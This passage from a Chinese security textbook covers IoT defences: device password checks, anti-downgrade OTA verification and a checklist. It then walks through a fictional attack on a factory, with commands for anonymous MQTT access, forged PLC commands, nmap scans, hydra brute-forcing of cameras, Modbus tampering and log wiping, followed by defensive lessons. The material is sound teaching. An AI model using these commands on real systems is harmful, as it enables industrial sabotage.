issues.add("密码需包含大小写字母、数字、特殊字符中的至少 3 种");
}
// ⑤ 连续/重复字符(11111、abcabc、123456)
if (isSequential(password) || isRepetitive(password)) {
issues.add("密码不能是连续或重复的字符");
}
// ⑥ 包含设备标识(device001 的密码不能含 device001)
if (password.toLowerCase().contains("device") ||
password.toLowerCase().contains("admin")) {
issues.add("密码不能包含 'device' 或 'admin'");
}
return new PasswordStrength(issues.isEmpty(), issues,
calculateScore(password));
}
/**
* 设备首次接入强制改密
*/
@Transactional
public void enforcePasswordChangeOnFirstLogin(String deviceId) {
Device device = deviceRegistry.findById(deviceId)
.orElseThrow(() -> new BizException("设备不存在"));
if (device.isDefaultPassword()) {
// 标记为强制改密状态
device.setForcePasswordChange(true);
deviceRegistry.save(device);
// 通过 MQTT 下发通知
mqttService.push(deviceId, Map.of(
"type", "FORCE_PASSWORD_CHANGE",
"reason", "检测到出厂默认密码,必须修改后才能正常使用",
"deadline", System.currentTimeMillis() + Duration.ofHours(24).toMillis()
));
// 24 小时内不改 → 限制功能(只保留改密的 API)
scheduleEnforcement(deviceId, Duration.ofHours(24));
}
}
/**
* 登录失败锁定(防爆破)
*/
public void recordFailedLogin(String deviceId, String clientIp) {
String key = "device:login:fail:" + deviceId;
Long fails = redis.opsForValue().increment(key);
if (fails != null && fails == 1) {
redis.expire(key, Duration.ofMinutes(30));
}
if (fails != null && fails >= 5) {
// 锁定设备 30 分钟
redis.opsForValue().set("device:lock:" + deviceId, "1",
Duration.ofMinutes(30));
log.warn("[设备] 登录失败次数过多,已锁定. deviceId={}, ip={}, fails={}",
deviceId, clientIp, fails);
alertService.send("DEVICE_BRUTE_FORCE",
String.format("设备 %s 疑似遭到密码爆破,来源 IP: %s", deviceId, clientIp));
}
}
/**
* 异常登录检测
*/
public void checkAnomalousLogin(String deviceId, String clientIp, String country) {
Device device = deviceRegistry.findById(deviceId).orElse(null);
if (device == null) return;
List<String> anomalies = new ArrayList<>();
// ① IP 归属地突变(上一秒在中国,下一秒在美国 = 不可能)
if (device.getLastLoginCountry() != null
&& !device.getLastLoginCountry().equals(country)) {
long timeSinceLastLogin = System.currentTimeMillis() - device.getLastLoginAt();
// 1 小时内跨国登录 = 异常(物理上不可能)
if (timeSinceLastLogin < Duration.ofHours(1).toMillis()) {
anomalies.add(String.format("异地登录:%s → %s(%d 分钟内)",
device.getLastLoginCountry(), country,
timeSinceLastLogin / 60000));
}
}
// ② IP 段完全不相关
if (!isSameNetworkSegment(device.getLastLoginIp(), clientIp)) {
anomalies.add("IP 段变化异常");
}
// ③ 同一凭据多地同时在线(设备克隆)
if (isDeviceOnlineElsewhere(deviceId, clientIp)) {
anomalies.add("检测到同一设备凭据在多地同时在线(疑似克隆)");
}
if (!anomalies.isEmpty()) {
log.warn("[设备] 异常登录. deviceId={}, anomalies={}", deviceId, anomalies);
alertService.send("DEVICE_ANOMALOUS_LOGIN",
deviceId + " - " + String.join("; ", anomalies));
// 高危:要求二次验证或直接锁定
if (anomalies.size() >= 2) {
lockDevice(deviceId, "检测到多重异常登录行为");
}
}
}
private boolean isSequential(String s) {
if (s.length() < 4) return false;
for (int i = 0; i < s.length() - 3; i++) {
char c = s.charAt(i);
if (s.charAt(i+1) == c+1 && s.charAt(i+2) == c+2 && s.charAt(i+3) == c+3) {
return true; // 如 1234、abcd
}
}
return false;
}
private boolean isRepetitive(String s) {
return s.matches("(.+?)\\1{2,}");
}
public record PasswordStrength(boolean passed, List<String> issues, int score) {}
}
5.8.4 OTA 升级安全与降级攻击
白话:OTA(Over-The-Air)就是设备远程升级固件,和手机系统更新一个道理。
为什么 OTA 是高风险环节:
OTA 是攻击者梦寐以求的入口:
① 固件运行在设备的【最高权限】(root / 内核态)
② 一旦成功,就是【持久化】(刷了固件,重启还在)
③ 影响【所有同型号设备】(一次投毒,批量沦陷)
④ 难以发现(固件被改了,表面看不出来)
真实案例:
2017 年,某智能灯泡厂商的 OTA 服务器被攻破,
攻击者推送恶意固件,控制了几十万个灯泡,
并用 Zigbee 协议横向传播(灯泡感染灯泡)。
理论上可以造成城市级的灯光失控。
OTA 的五个安全要求:
① 认证:设备必须验证"这个固件确实来自厂商"
→ 固件签名(ECDSA / RSA + SHA-256)
② 完整性:固件在传输过程中不能被篡改
→ 签名天然包含完整性校验
→ 或者额外的 HMAC
③ 机密性:固件内容不应被窃取(防逆向)
→ 加密固件(AES)+ 解密密钥在安全芯片里
④ 防降级:不能刷回有漏洞的旧版本
→ 版本号单调递增检查(★ 最容易被忽略)
⑤ 安全恢复:刷失败不能变砖
→ A/B 分区(双系统备份)
→ 回滚机制
★ 降级攻击(Downgrade Attack)—— 最容易被忽略的漏洞:
场景:
固件 v1.0 有漏洞(攻击者已掌握利用方法)
厂商发布 v2.0 修复了漏洞
但是:设备接受"任意版本的固件",只要签名正确
攻击:
攻击者拿到了 v1.0 的官方签名固件(官网下载,或旧设备提取)
↓
把它推送给已经升级到 v2.0 的设备
↓
设备验证签名 → ✅ 通过(这确实是官方签名的固件)
↓
设备降级到 v1.0
↓
攻击者用已知的 v1.0 漏洞攻陷设备
为什么这么容易成功?
很多设备只验证"签名对不对",不验证"版本新不新"。
开发者以为"签了名就安全了",忽略了版本维度。
★ 这就是 2010 年代 Android 的著名问题,
后来 Google 引入了"防回滚保护"(Anti-Rollback)
✅ 完整的 OTA 安全实现:
/**
* 安全的 OTA 升级服务
*
* 五个安全要求全部实现:
* ① 签名验证(ECDSA)
* ② 完整性校验(SHA-256)
* ③ 加密分发(AES-GCM)
* ④ ★ 防降级(版本号单调检查,存在安全存储区)
* ⑤ A/B 分区安全恢复
*/
@Service
@Slf4j
public class SecureOtaService {
@Autowired
private FirmwareRepository firmwareRepo;
@Autowired
private DeviceRegistry deviceRegistry;
/**
* 生成固件(厂商侧)
*/
public void buildFirmware(File rawFirmware, int version,
String minVersion, boolean critical) {
try {
byte[] firmwareBytes = Files.readAllBytes(rawFirmware.toPath());
// ===== ① 计算哈希 =====
MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
byte[] hash = sha256.digest(firmwareBytes);
// ===== ② 加密固件(可选,防逆向)=====
byte[] encrypted = encryptFirmware(firmwareBytes);
// ===== ③ 构造元数据 =====
FirmwareMetadata metadata = FirmwareMetadata.builder()
.version(version) // ★ 版本号
.minVersion(minVersion) // ★ 最低允许版本(防降级的关键)
.size(encrypted.length)
.sha256(Hex.toHexString(hash))
.releaseNotes("...")
.critical(critical)
.buildAt(System.currentTimeMillis())
.build();
// ===== ④ 对【元数据】签名(不是对固件签名)=====
// ★ 关键:签名的对象必须包含版本号!
// 只签固件内容 → 攻击者可以把 v1.0 的固件 + v1.0 的签名一起重放
// 签元数据(含版本号)→ 设备能验证版本
byte[] metadataBytes = JsonUtil.toJson(metadata).getBytes(UTF_8);
Signature signature = Signature.getInstance("SHA256withECDSA");
signature.initSign(loadSigningPrivateKey()); // 私钥在 HSM 里!
signature.update(metadataBytes);
byte[] metadataSig = signature.sign();
// ===== ⑤ 对【固件内容】单独签名(双保险)=====
signature.initSign(loadSigningPrivateKey());
signature.update(firmwareBytes);
byte[] firmwareSig = signature.sign();
// ===== ⑥ 保存 =====
firmwareRepo.save(Firmware.builder()
.metadata(metadata)
.encryptedData(encrypted)
.metadataSignature(metadataSig)
.firmwareSignature(firmwareSig)
.build());
log.info("[OTA] 固件构建完成. version={}, size={}, sha256={}",
version, encrypted.length, Hex.toHexString(hash).substring(0, 16));
} catch (Exception e) {
throw new RuntimeException("固件构建失败", e);
}
}
/**
* 设备检查更新
*/
public UpdateInfo checkUpdate(String deviceId, int currentVersion) {
Device device = deviceRegistry.findById(deviceId)
.orElseThrow(() -> new BizException("设备不存在"));
// ===== ① 找到适用该型号的最新固件 =====
Firmware latest = firmwareRepo
.findLatestByModel(device.getModel())
.orElse(null);
if (latest == null) {
return UpdateInfo.noUpdate();
}
// ===== ② 灰度发布(不要一次推给所有设备)=====
if (!isInRolloutGroup(deviceId, latest.getMetadata().getVersion())) {
log.debug("[OTA] 设备不在灰度范围内. deviceId={}", deviceId);
return UpdateInfo.noUpdate();
}
// ===== ③ 检查设备当前版本是否低于最低要求 =====
// 强制升级场景(有严重漏洞)
if (latest.getMetadata().isCritical()
&& currentVersion < Integer.parseInt(latest.getMetadata().getMinVersion())) {
return UpdateInfo.forced(latest);
}
return UpdateInfo.available(latest);
}
/**
* 设备侧验证固件(伪代码,实际在设备固件里实现)
*
* ★ 这里是防降级的核心逻辑
*/
public boolean verifyFirmwareOnDevice(byte[] encryptedFirmware,
FirmwareMetadata metadata,
byte[] metadataSig,
byte[] firmwareSig) {
try {
// ===== ① 验证元数据签名 =====
Signature sig = Signature.getInstance("SHA256withECDSA");
sig.initVerify(loadFactoryPublicKey()); // 出厂烧录的公钥,不可修改
sig.update(JsonUtil.toJson(metadata).getBytes(UTF_8));
if (!sig.verify(metadataSig)) {
log.error("[OTA] 元数据签名验证失败(可能是伪造的固件)");
reportSecurityIncident("OTA_METADATA_SIGNATURE_INVALID");
return false;
}
// ===== ② ★★★ 防降级检查(最关键)★★★ =====
//
// 从【安全存储区】读取当前版本
// 为什么必须是安全存储区?
// 如果版本号存在普通 Flash 里,攻击者可以直接改掉它,
// 让设备以为自己还是 v1.0,然后降级成功。
// 安全存储区(eFuse / RPMB / TrustZone)写一次就不能改,
// 或者只能单调增加。
//
int currentVersion = readSecureVersionCounter();
if (metadata.getVersion() <= currentVersion) {
log.error("[OTA] 版本降级攻击!当前={}, 尝试刷入={}",
currentVersion, metadata.getVersion());
reportSecurityIncident("OTA_DOWNGRADE_ATTEMPT");
return false; // ★ 坚决拒绝
}
// ===== ③ 解密固件 =====
byte[] firmware = decryptFirmware(encryptedFirmware);
// ===== ④ 验证固件哈希 =====
MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
String actualHash = Hex.toHexString(sha256.digest(firmware));
if (!constantTimeEquals(actualHash, metadata.getSha256())) {
log.error("[OTA] 固件哈希不匹配(传输中被篡改?)");
reportSecurityIncident("OTA_HASH_MISMATCH");
return false;
}
// ===== ⑤ 验证固件内容签名(双保险)=====
sig.initVerify(loadFactoryPublicKey());
sig.update(firmware);
if (!sig.verify(firmwareSig)) {
log.error("[OTA] 固件签名验证失败");
reportSecurityIncident("OTA_FIRMWARE_SIGNATURE_INVALID");
return false;
}
// ===== ⑥ 检查 minVersion(防止跨版本跳跃到有漏洞的中介版本)=====
// 某些升级路径有问题,比如 v1.0 → v2.0 需要先过 v1.5
if (currentVersion < Integer.parseInt(metadata.getMinVersion())) {
log.error("[OTA] 升级路径不允许. current={}, min={}",
currentVersion, metadata.getMinVersion());
return false;
}
// ===== ⑦ 全部通过,写入固件 =====
// ★ A/B 分区:先写到备用分区,验证能启动后再切换
// 这样即使新固件有问题,也能回滚到旧分区,不会变砖
writeToInactivePartition(firmware);
// ===== ⑧ ★ 更新安全版本计数器(单调递增,不可逆)=====
// 这一步必须在【确认新固件能正常启动之后】做
// 如果先更新计数器再刷机,刷失败就永久锁死在旧版本了
// 实际实现:启动时由 bootloader 验证并更新
// writeSecureVersionCounter(metadata.getVersion());
// ===== ⑨ 标记为待激活,重启后生效 =====
markPartitionForBoot();
log.info("[OTA] 固件验证通过,重启后生效. version={}", metadata.getVersion());
return true;
} catch (Exception e) {
log.error("[OTA] 验证过程异常", e);
return false;
}
}
/**
* 读取安全版本计数器(防回滚)
*
* 硬件实现:
* - eFuse:一次性可编程熔丝,烧断不能恢复
* - RPMB(eMMC 的重放保护内存块):需要密钥认证才能写
* - TrustZone / Secure Enclave:安全世界存储
* - TPM 的单调计数器(Monotonic Counter)
*/
private int readSecureVersionCounter() {
// 实际实现依赖硬件
// 这里返回模拟值
return secureStorage.readInt("firmware.version");
}
/**
* 灰度发布
*/
private boolean isInRolloutGroup(String deviceId, int version) {
// 用一致性哈希,保证同一设备每次判定结果一致
int hash = Math.abs(deviceId.hashCode());
int bucket = hash % 100;
RolloutPolicy policy = firmwareRepo.getRolloutPolicy(version);
return bucket < policy.getPercentage();
// 例:percentage=10 表示只有 10% 的设备收到更新
// 观察 24 小时无异常后,逐步提高到 25% → 50% → 100%
}
private boolean constantTimeEquals(String a, String b) {
return MessageDigest.isEqual(a.getBytes(UTF_8), b.getBytes(UTF_8));
}
}
A/B 分区更新(防变砖):
传统单分区更新的问题:
Flash 布局:[bootloader][系统分区][数据]
更新过程:擦除系统分区 → 写入新系统
⚠️ 如果写一半断电 → 系统分区损坏 → 设备变砖
A/B 分区(无缝更新):
Flash 布局:[bootloader][系统A][系统B][数据]
当前运行在 A 分区
↓
把新固件写到 B 分区(此时 A 还在正常运行,设备完全可用)
↓
写完后,修改 bootloader 的启动槽位:下次从 B 启动
↓
重启
↓
B 分区启动成功 → 标记 B 为"成功",B 成为新的当前系统
B 分区启动失败(连续 3 次)→ bootloader 自动回滚到 A 分区
↓
★ 最坏情况:更新失败,回到原来的系统,设备永远可用
这就是 Android 7.0 引入的 Seamless Update 机制
5.8.5 IoT 安全检查清单
IoT 设备上线前必查(按优先级):
【P0 必做,不做等于裸奔】
☐ 无默认口令 / 首次使用强制改密
☐ 关闭不必要的服务(telnet、ftp、不必要的 HTTP)
☐ 固件签名验证(Secure Boot)
☐ OTA 防降级(安全版本计数器)
☐ 关闭/保护调试接口(UART/JTAG/SWD)
☐ 一机一密(不用全局共享凭据)
☐ 通信加密(TLS/DTLS,不用明文)
【P1 重要】
☐ 固件中无硬编码凭据(扫描固件确认)
☐ 固件加密(防逆向提取)
☐ 最小权限原则(服务不以 root 运行)
☐ 输入校验(防止命令注入、缓冲区溢出)
☐ 安全存储(密钥放 SE/TPM/TrustZone,不放普通 Flash)
☐ A/B 分区(防变砖)
☐ 日志脱敏(不记录敏感数据)
【P2 加分】
☐ 物理防拆检测
☐ 完整性自校验(运行时检测代码被改)
☐ 反调试
☐ 安全启动链(bootloader → kernel → app 逐级验签)
☐ 漏洞披露渠道(security@example.com)
☐ SBOM(软件物料清单)
☐ 定期固件更新机制
【P3 运营期】
☐ 设备行为基线监控
☐ 异常设备自动隔离
☐ 凭据定期轮换
☐ 固件漏洞跟踪(CVE 监控)
☐ 设备生命周期管理(EOL 设备下线)
5.9 综合实战:从一台暴露的 MQTT Broker 到整个园区沦陷
本节是一个完整的攻击链串联,把第五章学到的所有协议串起来。 这是面试时被问“讲一个你见过的完整攻击链”时最值得讲的案例之一。
5.9.1 场景设定
某智能制造园区(虚构,但基于真实事件改编):
网络架构(设计者以为很安全):
┌──────────────────────────────────────────────┐
│ 互联网 │
└────────────────┬─────────────────────────────┘
│ 防火墙(只开了 80/443/8883)
┌────────────────┴─────────────────────────────┐
│ DMZ 区 │
│ - Web 门户(对外) │
│ - MQTT Broker(对外,8883/TLS) │
└────────────────┬─────────────────────────────┘
│ 内网防火墙
┌────────────────┴─────────────────────────────┐
│ 生产网(OT) │
│ - PLC × 50 │
│ - 工程师站 │
│ - MES 系统 │
│ - 摄像头 × 200(在另一段,但与生产网互通) │
└──────────────────────────────────────────────┘
设计者的假设:
"我们 MQTT 用了 TLS,而且 Broker 在 DMZ,生产网有防火墙,很安全。"
实际的漏洞:
① Broker 开了 TLS,但【允许匿名访问】(忘了配 allow_anonymous false)
② 生产网的 PLC 也连这个 Broker(从生产网主动连出来)
③ 摄像头网段和生产网互通
④ 摄像头用的是默认口令
5.9.2 攻击链(七步)
步骤 1:发现(1 分钟)
────────────────────────────────────────────
Shodan 搜索:product:"MQTT" country:"CN"
找到:mqtt.factory-example.com:8883 EMQX 4.4.3
↓
步骤 2:验证匿名访问(10 秒)
────────────────────────────────────────────
mosquitto_sub -h mqtt.factory-example.com -p 8883 -t '#' -v \
--cafile /etc/ssl/certs/ca-certificates.crt
返回:Connection Code: 0 ← 匿名可连!
⚠️ 关键认知:TLS 只保护"传输过程",
不解决"谁能连"的问题。加密 ≠ 认证。
↓
步骤 3:信息收集(5 分钟)
────────────────────────────────────────────
① 订阅 $SYS/# 拿设备清单
→ 1523 个在线客户端
→ 拿到 ClientID 规律:
plc_line1_001, plc_line1_002, ...
camera_yard_001, camera_yard_002, ...
engineer_station_01
② 订阅 # 监听 5 分钟,记录所有活跃 Topic
→ plc/line1/plc001/telemetry 温度压力数据
→ plc/line1/plc001/command ★ 指令 Topic
→ camera/yard001/status
→ mes/production/order
③ 分析指令格式(重点!)
监听 command Topic,观察正常指令:
{"cmd":"SET_SETPOINT","target":"TEMP_01","value":180}
{"cmd":"START","target":"MOTOR_02"}
{"cmd":"STOP","target":"MOTOR_02"}
↓
步骤 4:第一次试探(会不会被发现)
────────────────────────────────────────────
不做破坏性操作,先发一条"无害"的指令试探:
mosquitto_pub -h ... -t 'plc/line1/plc001/command' \
-m '{"cmd":"READ_STATUS","target":"MOTOR_02"}'
观察:
- 有没有告警?没有
- 设备有没有响应?有,返回了状态
- 日志里有没有记录?不知道,但没人来找
⚠️ 攻击者通常会先做"低烈度试探",
确认没被发现后再升级。这是 APT 的典型手法。
↓
步骤 5:横向移动 —— 从 MQTT 到摄像头
────────────────────────────────────────────
从 $SYS 数据里看到摄像头的 ClientID:camera_yard_001
推断内网 IP 段:$SYS 里记录了客户端 IP
→ 摄像头 IP 段:172.16.50.0/24
→ 用 MQTT 下发的配置 Topic 尝试修改摄像头配置
mosquitto_pub -t 'camera/yard001/config' \
-m '{"ntp_server":"172.16.30.5"}' -r
(把 NTP 服务器指向攻击者控制的机器,为后续攻击做准备)
→ 直接扫摄像头网段的 554(RTSP)/ 80(HTTP)
nmap -p 80,554,8000 172.16.50.0/24
发现 200 台摄像头,其中大量是海康/大华
→ 用默认口令尝试
hydra -L users.txt -P iot_passwords.txt \
-t 4 172.16.50.0/24 http-get /ISAPI/Security
结果:67 台用默认口令 admin:12345
↓
步骤 6:从摄像头到生产网
────────────────────────────────────────────
★ 关键发现:摄像头网段(172.16.50.0/24)
和生产网(172.16.30.0/24)之间【没有隔离】
(当初为了"方便调阅监控"放通了)
拿下一台摄像头后:
- 摄像头是 Linux 系统 → 拿到 root shell
- 以摄像头为跳板,扫描生产网
(在摄像头上跑 nmap,流量看起来像内网流量)
发现:
- 172.16.30.10 MES 数据库(MySQL 3306,弱口令 root/root)
- 172.16.30.20 工程师站(3389 远程桌面开着)
- 172.16.30.5 PLC 网关(502 Modbus!)
↓
步骤 7:拿下 PLC(物理影响)
────────────────────────────────────────────
从摄像头跳板访问 PLC 网关(172.16.30.5:502)
① 先读:
python modbus_tool.py 172.16.30.5
→ 读到保持寄存器 100 = 180(温度设定值)
→ 读到线圈 0-15 的状态
② 篡改(★ 关键决策点):
攻击者有两个选择:
A. 立即停机(写入 STOP 指令)
→ 立刻被发现,但破坏明显
B. 缓慢篡改(把温度从 180 改成 195,每次 +2)
→ 产品合格率缓慢下降,可能被当成"设备老化"
→ 持续数周不被发现,损失更大
真正的 APT 会选 B。
③ 掩盖痕迹:
- 修改 HMI 上报的数据(让监控大屏显示 180,实际是 195)
- 清理摄像头上的操作日志
- 在 MES 数据库里删除相关记录
最终结果:
三周后,质检部门发现某批次产品强度不达标,
追溯发现是温度设定值被篡改,但已经生产了 12 万件。
损失:返工 + 报废 ≈ 800 万元。
且至今不知道攻击者是谁(日志已被清理)。
5.9.3 复盘:防御方在哪里失守
┌────────────────────────────────────────────────────────────┐
│ 失守点 应该做什么 │
├────────────────────────────────────────────────────────────┤
│ ① MQTT 匿名访问 allow_anonymous false │
│ (★ 根源,其他都是后果) ACL 默认拒绝 │
│ 禁止订阅 # 和 $SYS/# │
├────────────────────────────────────────────────────────────┤
│ ② $SYS 泄露设备清单和 IP 禁用 $SYS 或限制访问 │
│ (给了攻击者地图) │
├────────────────────────────────────────────────────────────┤
│ ③ 指令 Topic 无鉴权 每个 Topic 都要鉴权 │
│ (任何人能下发指令) 指令类 Topic 只允许平台账号 │
│ 写,设备只读 │
├────────────────────────────────────────────────────────────┤
│ ④ 摄像头默认口令 出厂强制改密 + 弱口令检测 │
│ 设备准入控制 │
├────────────────────────────────────────────────────────────┤
│ ⑤ ★ 摄像头网与生产网互通 网络分段 / 微隔离 │
│ (★ 最致命,让攻击能横向) VLAN + 工业防火墙 │
│ 摄像头网段禁止访问 OT 网段 │
├────────────────────────────────────────────────────────────┤
│ ⑥ Modbus 无认证 工业防火墙功能码白名单 │
│ (协议本身的缺陷) 源 IP + 功能码 + 地址范围 │
│ 工控 IDS 基线告警 │
├────────────────────────────────────────────────────────────┤
│ ⑦ 无异常检测 工艺参数异常告警 │
│ (三周才发现异常) 写操作实时告警 │
│ 日志异地备份(防篡改) │
├────────────────────────────────────────────────────────────┤
│ ⑧ 日志可被清理 日志实时同步到 SIEM │
│ WORM 存储(一次写多次读) │
└────────────────────────────────────────────────────────────┘
★ 最重要的认知:
这 8 个失守点里,任何一个被堵住,攻击链都会断。
但全部都没有堵住 —— 这就是"瑞士奶酪模型":
每道防线都有洞,当洞对齐时,攻击就穿透了。
防御的思路不是"某一道防线做到完美"
(做不到,总有漏洞),
而是"让每道防线的洞不对齐"(纵深防御)。
5.9.4 面试话术(完整版)
问:讲一个你了解的完整攻击链,以及防御思路。
“我讲一个物联网场景的完整攻击链,这类攻击在制造业很典型。
入口是一台暴露在公网的 MQTT Broker。很多人以为配了 TLS 就安全了, 但 TLS 只解决传输加密,不解决身份认证。 这台 Broker 允许匿名访问,攻击者一条
mosquitto_sub -t '#'就能订阅所有数据。然后从窃听升级到控制。攻击者通过
$SYS系统主题拿到了完整的设备清单、 真实 IP、上线规律——这等于拿到整个系统的地图。 再监听 command 类 Topic 学会指令格式,就能伪造指令下发给 PLC。接着横向移动。从设备清单里发现摄像头网段, 用默认口令拿下一批摄像头(IoT 设备的经典问题), 然后发现摄像头网段和生产网之间没有隔离——这是整个链条里最致命的一环。 以摄像头为跳板进入生产网,最终通过无认证的 Modbus 协议篡改 PLC 的工艺参数。
最有意思的是最后一步:真正的 APT 不会立刻让产线停机, 因为那会马上被发现。他们会把温度设定值从 180 度一点点改成 195 度, 同时篡改上报数据让监控大屏显示正常值。 三周后才因为产品合格率下降被发现,这时候已经生产了十几万件废品。
防御上我觉得有三点值得说:
第一,入口要堵住——MQTT 必须禁用匿名、配 ACL、禁止订阅
#和$SYS/#。 这是性价比最高的一招,一条配置能拦住 90% 的扫描器。第二,网络分段比什么都重要。摄像头网段和生产网互通, 这是把“丢几个摄像头”变成“停产三周”的根本原因。 微隔离做得好,即使丢了摄像头,攻击者也过不去。
第三,要能“看见”。工控协议本身没有认证,靠协议自身防不住, 所以必须做基线学习——工控流量高度规律, 出现从未见过的功能码、写入超出历史范围的值,都应该立即告警。
整体上这是瑞士奶酪模型:每道防线都有洞,我不指望哪一道做到完美, 但要保证洞不对齐。“
5.10 面试题 E 组:实时通信与 IoT 协议安全(30 题)
E. 基础题(1~12)
E1. WebSocket 和 HTTP 的本质区别是什么?为什么 WebSocket 更容易出安全问题?(难度 ★★)
答:
本质区别:
- 通信模型:HTTP 是请求-响应(一问一答),WebSocket 是全双工长连接(连上后双方随时发)
- 连接生命周期:HTTP 短连接(或 keep-alive 复用但仍是无状态请求),WebSocket 握手一次,持续数小时
- 协议升级:WebSocket 先用 HTTP 握手(101 Switching Protocols),之后换成 WebSocket 帧协议
- 服务端推送:HTTP 要轮询或长轮询,WebSocket 原生支持推送
为什么更容易出问题(四个“失效”):
安全机制 HTTP WebSocket 后果 WAF 能解析 HTTP 语义,检测 SQLi/XSS 握手后看不懂 帧内容完全裸奔 限流 按请求数(有效) 1 连接 = 1 请求,里面能发无限消息 消息洪水防不住 网关鉴权 每个请求都过鉴权 只在握手时鉴权一次 后续消息默认可信 访问日志 记录 URL/状态码 什么都不记 无法审计追溯 应对:
- 应用层做消息级鉴权、限流、审计
- 配置消息大小、连接数、空闲超时
supportsPartialMessages()返回 false 防分片攻击追问:那什么时候不该用 WebSocket? 答:只需要服务端单向推送时(AI 流式输出、通知、进度条),用 SSE 更简单—— 普通 HTTP、天然穿透代理、浏览器自动重连、支持 Last-Event-ID 断点续传,还不用改网关。
E2. WebSocket 握手时 Sec-WebSocket-Key / Accept 的作用是什么?它是安全机制吗?(难度 ★★★)
答:
计算方式:
Sec-WebSocket-Accept = base64(SHA1(客户端Key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))那个 GUID 是 RFC 6455 规定的固定魔法字符串。
作用(只有一个):防止缓存投毒。
原理:如果服务器无脑对所有请求返回 101,中间的缓存服务器(CDN、代理) 可能把这个响应缓存成“这个 URL 返回 WebSocket 响应”, 其他用户请求同一 URL 就拿到错误内容。 有了 Key/Accept 计算,响应内容取决于请求,缓存服务器发现不匹配就不会缓存。
★ 它不是安全机制:
- 任何 WebSocket 库都会自动算对,攻击者不需要手工算
- 不提供认证(不知道你是谁)
- 不提供授权(不知道你能做什么)
- 不提供完整性(没有 MAC)
反面结论:“有 Key/Accept 校验所以 WebSocket 是安全的”是常见误解。 真正的认证要靠 Cookie/Token/ticket + Origin 校验。
追问:掩码(Mask)的作用是什么? 答:类似目的——客户端发给服务端的帧必须掩码(4 字节随机密钥异或), 防止恶意客户端构造看起来像 HTTP 请求的内容,骗过中间代理(缓存投毒)。 服务端必须校验 MASK 位为 1,否则拒绝,这是 RFC 的强制要求。
E3. 什么是 CSWSH?为什么 WebSocket 不受同源策略保护?怎么防?(难度 ★★★★)
答:
CSWSH(Cross-Site WebSocket Hijacking): 恶意网站用 JavaScript 建立到目标站点的 WebSocket 连接, 浏览器自动带上 Cookie,于是恶意站点能以受害者身份读写 WebSocket 数据。
为什么不受同源策略保护(两个原因):
- 同源策略管的是“读取响应”,不是“发起请求”。 恶意站点本来就能用
<img src>发起跨域 GET,只是读不到响应。 但 WebSocket 建立后,恶意站点的 JS 能读到所有推送内容。- WebSocket 没有 CORS 预检机制。 fetch/XHR 有预检,服务端说不允许浏览器就不给结果; WebSocket 直接连,浏览器不会拦截。
更麻烦的是:浏览器 WebSocket API 不能设置自定义请求头, 所以不能像 fetch 那样带
Authorization: Bearer xxx。 只能用 Cookie、URL 参数、或子协议。防御(分层):
防御 针对场景 强度 Origin 校验 浏览器 ★★★★★ 非 Cookie 认证(Token/ticket) 所有场景 ★★★★★ SameSite=Strict Cookie 浏览器 ★★★★ 订阅归属校验 所有场景(最后防线) ★★★★★ Origin 校验的正确写法(严格三部分比对):
URI uri = URI.create(origin); boolean ok = "https".equals(uri.getScheme()) && "www.example.com".equals(uri.getHost()) && uri.getPort() == 443; // ❌ 绝对不要写 origin.contains("example.com") // 会被 https://example.com.evil.com 绕过★ 核心认知:Origin 校验只是门禁(非浏览器客户端可伪造 Origin), 订阅鉴权才是房间锁。即使攻击者连上了, 只要每个订阅频道都校验归属,他还是拿不到别人的数据。
E4. SSE 和 WebSocket 怎么选?SSE 有什么安全问题?(难度 ★★★)
答:
选型:
场景 选什么 理由 双向通信(聊天、协同编辑、游戏) WebSocket SSE 单向 服务端单向推送(AI 流式输出、通知、日志) SSE 更简单 需要二进制数据 WebSocket SSE 只能文本 网络环境差(老代理多) SSE 普通 HTTP,天然穿透 需要断线自动重连 SSE 浏览器原生支持 SSE 的五个安全问题:
EventSource 不能设自定义头 → 只能用 Cookie(有 CSRF 风险)或把 Token 放 URL(进日志) 解法:Cookie + SameSite,或一次性 ticket,或用 fetch 手动实现 SSE
事件注入:SSE 是纯文本协议,
data: xxx\n\n分隔。 用户输入里有\n\n就能伪造出完整的新消息。 解法:data 用 JSON 序列化(换行变成\n字面量), 或多行文本每行单独加data:前缀Last-Event-ID 越权:不校验归属就能拿别人的历史消息 解法:补发查询必须带 userId 条件
代理缓冲:Nginx
proxy_buffering on(默认)会攒够才发,SSE 变成“卡住不动” 解法:proxy_buffering off+gzip off+proxy_read_timeout 3600sHTTP/1.1 六连接限制:开 7 个标签页第 7 个就不动了 解法:HTTP/2(根治)/ 多子域名 / SharedWorker 共享连接
追问:SSE 和 WebSocket 在穿透代理上为什么有差别? 答:SSE 就是普通 HTTP 长连接,任何 HTTP 代理都认。 WebSocket 需要
Upgrade头,老代理(特别是企业网的 HTTP/1.0 代理)不认, 会直接断开或缓冲。这也是 SSE 在企业环境更可靠的原因。
E5. WebRTC 的 STUN、TURN、ICE 分别是什么?(难度 ★★★)
答(用快递类比):
STUN(Session Traversal Utilities for NAT):
- 作用:查询自己在公网上看起来是什么地址
- 类比:你住在大楼里(NAT),STUN 服务器是前台,你问他“外面看我是什么地址”
- 流量:只查地址,不中继数据(开销极小,几十字节)
- 端口:3478
TURN(Traversal Using Relays around NAT):
- 作用:直连失败时中转所有流量
- 类比:实在联系不上,你把东西给中转站,中转站转交
- 流量:所有数据都过它(带宽、钱!)
- 端口:3478(UDP/TCP)、5349(TLS)
ICE(Interactive Connectivity Establishment):
- 作用:收集所有可能的连接方式,逐个试,选能通的
- 类比:手上有手机号、微信、邮箱、家庭地址,挨个试
- 候选类型(按优先级):
host—— 本机内网 IP(最快,只能内网直连)srflx—— STUN 反射的公网地址(需要 NAT 打洞)prflx—— 对端反射地址relay—— TURN 中继(最慢,但一定能通)安全问题:
- STUN 泄露公网 IP(即使挂 VPN,某些配置下真实 IP 仍会暴露)
- host 候选泄露内网 IP(这是最著名的隐私问题)
- TURN 被白嫖(无认证的话,别人拿它当免费中继/攻击跳板)
面试加分:WebRTC 的数据通道是强制加密的(DTLS-SRTP), 但信令通道(SDP 交换)由你自己实现,没有任何标准保护—— 这是 WebRTC 最薄弱的环节。
E6. WebRTC 为什么会泄露内网 IP?怎么防?(难度 ★★★★)
答:
原理: WebRTC 为了 P2P 直连,必须收集本机的所有网络接口地址(包括内网 IP), 这些地址作为 ICE 候选(host candidate)发送给对端。 而且不需要任何用户权限——不弹权限框,用户完全无感知。
攻击代码极简:
